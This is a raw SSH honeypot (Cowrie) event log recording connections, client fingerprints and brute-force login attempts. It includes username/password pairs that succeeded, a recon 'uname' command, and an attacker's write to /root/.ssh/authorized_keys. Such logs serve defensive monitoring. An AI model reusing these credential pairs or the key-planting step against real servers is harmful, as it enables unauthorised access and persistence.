{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.303610Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.307499Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":53152,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f34a14091b1","protocol":"ssh","message":"New connection: 34.85.163.94:53152 (159.203.135.109:22) [session: 8f34a14091b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.314932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.320301Z","src_ip":"34.85.163.94","session":"8f34a14091b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.330747Z","src_ip":"34.85.163.94","session":"8f34a14091b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:15.568200Z","src_ip":"34.85.163.94","session":"8f34a14091b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.102171Z","src_ip":"213.209.159.158","session":"d5a627ac89aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14756,"dst_ip":"159.203.135.109","dst_port":22,"session":"241ca5cecec8","protocol":"ssh","message":"New connection: 213.209.159.158:14756 (159.203.135.109:22) [session: 241ca5cecec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.183650Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.582016Z","src_ip":"34.85.163.94","session":"8f34a14091b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":53156,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b62831698d5","protocol":"ssh","message":"New connection: 34.85.163.94:53156 (159.203.135.109:22) [session: 5b62831698d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.588310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.592567Z","src_ip":"34.85.163.94","session":"5b62831698d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:16.790411Z","src_ip":"34.85.163.94","session":"5b62831698d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:17.055174Z","src_ip":"34.85.163.94","session":"5b62831698d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:17.067176Z","src_ip":"34.85.163.94","session":"6b7007bcc0af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:17.072352Z","src_ip":"34.85.163.94","session":"5b62831698d5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:18.417992Z","src_ip":"213.209.159.158","session":"241ca5cecec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:18.422634Z","src_ip":"213.209.159.158","session":"241ca5cecec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"antonio123","message":"login attempt [antonio/antonio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:28.457939Z","src_ip":"213.209.159.158","session":"241ca5cecec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56152,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4530b7e649a","protocol":"ssh","message":"New connection: 162.120.6.20:56152 (159.203.135.109:22) [session: c4530b7e649a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.201236Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.275077Z","src_ip":"162.120.6.20","session":"c4530b7e649a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56160,"dst_ip":"159.203.135.109","dst_port":22,"session":"28537114b036","protocol":"ssh","message":"New connection: 162.120.6.20:56160 (159.203.135.109:22) [session: 28537114b036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.345057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.350715Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.423038Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qin@2021","message":"login attempt [root/qin@2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.638570Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.823697Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.827124Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.902505Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:30.907992Z","src_ip":"162.120.6.20","session":"28537114b036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:31.659219Z","src_ip":"213.209.159.158","session":"241ca5cecec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9080,"dst_ip":"159.203.135.109","dst_port":22,"session":"68c8e1f059cf","protocol":"ssh","message":"New connection: 213.209.159.158:9080 (159.203.135.109:22) [session: 68c8e1f059cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:31.748626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:34.415988Z","src_ip":"213.209.159.158","session":"68c8e1f059cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:34.419816Z","src_ip":"213.209.159.158","session":"68c8e1f059cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser123","message":"login attempt [azureuser/azureuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:44.046998Z","src_ip":"213.209.159.158","session":"68c8e1f059cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:47.813259Z","src_ip":"213.209.159.158","session":"68c8e1f059cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18432,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec9df002804","protocol":"ssh","message":"New connection: 213.209.159.158:18432 (159.203.135.109:22) [session: 2ec9df002804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:47.893280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:50.053563Z","src_ip":"213.209.159.158","session":"2ec9df002804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:50.056822Z","src_ip":"213.209.159.158","session":"2ec9df002804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"v5-admin","password":"123456","message":"login attempt [v5-admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:28:59.626875Z","src_ip":"213.209.159.158","session":"2ec9df002804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:03.158023Z","src_ip":"213.209.159.158","session":"2ec9df002804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21362,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7a140a13ae3","protocol":"ssh","message":"New connection: 213.209.159.158:21362 (159.203.135.109:22) [session: b7a140a13ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:03.272016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:05.433566Z","src_ip":"213.209.159.158","session":"b7a140a13ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:05.437167Z","src_ip":"213.209.159.158","session":"b7a140a13ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur123","message":"login attempt [arthur/arthur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:15.313705Z","src_ip":"213.209.159.158","session":"b7a140a13ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:18.711272Z","src_ip":"213.209.159.158","session":"b7a140a13ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26366,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b39373bc16","protocol":"ssh","message":"New connection: 213.209.159.158:26366 (159.203.135.109:22) [session: e0b39373bc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:18.827935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:29:21.026755Z","src_ip":"213.209.159.158","session":"e0b39373bc16","protocol":"ssh"}
